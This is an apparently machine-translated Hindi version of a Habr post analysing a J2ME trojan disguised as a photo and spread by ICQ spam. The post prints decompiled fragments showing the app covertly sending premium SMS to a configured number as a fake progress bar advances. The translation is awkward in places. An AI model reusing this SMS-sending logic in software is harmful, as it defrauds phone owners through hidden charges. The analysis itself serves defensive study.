एक जार ट्रोजन के अध्ययन का इतिहास



अपरिचित * .jar फ़ाइलों की खोज के बारे में एक लेख।
मुझे अक्सर ICQ में स्पैम मिलता है। एक नियम के रूप में, वे नाम में टाइपो के साथ नकली "VKontakte" में से एक में जाने का सुझाव देते हैं। लेकिन यहां उन्होंने फोटो के लिंक के साथ अधिकृत करने का अनुरोध भेजा। संदेश कोरी है, कुछ नया नहीं है, कुछ इस तरह है: "मैं आपसे मिलना चाहता हूं, लिंक पर चित्र देखें ... .., आप मेरे साथ एक तस्वीर लेने में रुचि लेंगे।" लिंक एक नकली VKontakte के लिए नेतृत्व नहीं किया था, लेकिन foto.jar फ़ाइल डाउनलोड करने की पेशकश की।
हम एंटीवायरस के साथ जांचते हैं - सब कुछ ठीक है।

Cursory की समीक्षा करें

यह दिलचस्प हो जाता है। हम संग्रह खोलते हैं और तलाशना शुरू करते हैं।
जार फ़ाइल में निम्न फ़ाइलें होती हैं:



हम जावा एप्लिकेशन के साथ काम कर रहे हैं। मोबाइल उपकरणों के लिए सबसे अधिक संभावना है। हम किसी भी टेक्स्ट फ़ाइल संपादक के साथ main.class फ़ाइल को देखते हैं और पुष्टि करते हैं - प्रोग्राम टेक्स्ट में MIDlet कॉल हैं।



यह जानने के लिए रहता है कि यह कार्यक्रम क्या करता है। फिर से, एक टेक्स्ट एडिटर का उपयोग करें। आइए देखें क्लास की फाइलें। A.class फ़ाइल में, हम एक संकेत की तलाश करते हैं कि यह एप्लिकेशन क्या करता है:



"MessageConnection, javax.wireless.messaging.TextMessage, sms: //" - वे हमें संकेत देते हैं कि एप्लिकेशन एसएमएस भेजता है।
आमतौर पर आप वहां रुक सकते हैं। फ़ाइल जो ICQ स्पैम के साथ आई थी, जिसे एक तस्वीर कहा जाता है, वास्तव में मोबाइल उपकरणों के लिए एक कार्यक्रम है जो एसएमएस भेजता है।
समानांतर में, यह देखने का निर्णय लिया गया कि यह आवेदन क्या करता है। मैं एमुलेटर लोड करता हूं, रनटाइम। नतीजतन, हम प्राप्त करते हैं:



एक फ़ॉर्म एक प्रगति पट्टी के साथ लोड किया गया है, ठीक पर क्लिक करें, बार बढ़ता है, एक निश्चित समय पर, जब यह एक निश्चित प्रतिशत तक पहुंचता है, तो एक एसएमएस भेजा जाता है।
जब हम 100% तक पहुँचते हैं - आवेदन "खराब"

कोड में गोता लगाएँ


कक्षा कोड में सीधे जिस नंबर पर संदेश भेजा गया था, उसे खोजने का प्रयास असफल रहा। यह दिलचस्प हो गया।
एक गहन अध्ययन के लिए, स्रोत को विघटित करें। विघटन के आधे परिणाम निकले। एक डिकंपाइलर एक त्रुटि देते हुए startApp () विधि को नहीं खोल सका। इसलिए, एक छोटी खोज के बाद, एक ऑनलाइन डिकंपाइलर पाया गया था जो सभी फाइलों को खोल सकता था, लेकिन चर के नाम के रूप में केवल "ए" प्रतिस्थापित किया गया था। लेकिन वह आवेदन के तर्क को समझने के लिए पर्याप्त था।
मैं अपघटन के पूरे परिणाम नहीं दूंगा, केवल सबसे महत्वपूर्ण अंश:
StartApp का एक टुकड़ा () main.class वर्ग का कार्य:

……. this.a = ""; this.b = "http://ero.******.ws"; if(this.a == null) { this.a = ""; …….. try { b var1; (var1 = this.a).a = var1.getClass().getResourceAsStream("/settings.xml"); var1.a = var1.a.available(); var1.a = new int[var1.a]; int var2; for(var2 = 0; var2 < var1.a; ++var2) { var1.a[var2] = var1.a.read(); } ……… 


यह टुकड़ा दिखाता है कि जानकारी settings.xml फ़ाइल से भरी हुई है। और साइट के नाम के साथ एक लाइन बनाई जाती है।

  public void commandAction(Command var1, Displayable var2) { if(var1 == this.d) { ++this.ab; ++this.ad; this.aa += this.ac; if(this.ad == 17) { this.ad = 0; this.Sender(); } if(this.ab == 100) { this.destroyApp(false); } this.a.repaint(); } if(var1 == this.a) { this.a.setCurrent(this.a); } if(var1 == this.c) { this.notifyDestroyed(); } if(var1 == this.b) { try { this.platformRequest(this.b); } catch (ConnectionNotFoundException var3) { var3.printStackTrace(); } this.notifyDestroyed(); } } 

जब हम 17% तक पहुंचते हैं, तो हम प्रेषक () कहते हैं । जब हम 100% तक पहुंच जाते हैं, तो हम नष्ट कर देते हैं AppApp () ताकि उपयोगकर्ता फिर से आवेदन शुरू न कर सके। हम प्रेषक () प्रक्रिया को पास करते हैं।
 public void Sender() { if(this.a < this.a.length) { a var1 = this.a; (new Thread(var1)).start(); } } 

कक्षा के एक चर के एक उदाहरण को एक नए धागे में लॉन्च किया गया है।
एक कोड स्निपेट कक्षा।
 public final void run() { try { …….. this.a = "sms://" + this.aa[this.aa]; …….. this.a.send(this.a); } catch (SecurityException var1) { System.out.println("!!!!!!!!!!!"); } catch (Exception var2) { this.a = false; } …….. } 

तो, चलिए संक्षेप करते हैं।

यह एप्लिकेशन ICQ के माध्यम से वितरित किया जाता है, यह मोबाइल फोन को संक्रमित करता है, सेटिंग्स में एक नंबर पर एसएमएस भेजने की कोशिश करता है। xml फ़ाइल, जिस तरह से: 7781

ऑनलाइन एंटीवायरस को फिर से जांचें।



युपीडी। सुझाए गए मेनिका लिंक के लिए धन्यवाद

ऑपरेशन के समान तंत्र के साथ असंबद्ध ट्रोजन:
habrahabr.ru/blogs/java/112165
habrahabr.ru/blogs/infosecurity/113017
habrahabr.ru/blogs/personal/50072

दिलचस्प चर्चा के साथ एक समान ट्रोजन के जावा कोड पर सवाल:
habrahabr.ru/blogs/personal/75899

Source: https://habr.com/ru/post/In118422/


All Articles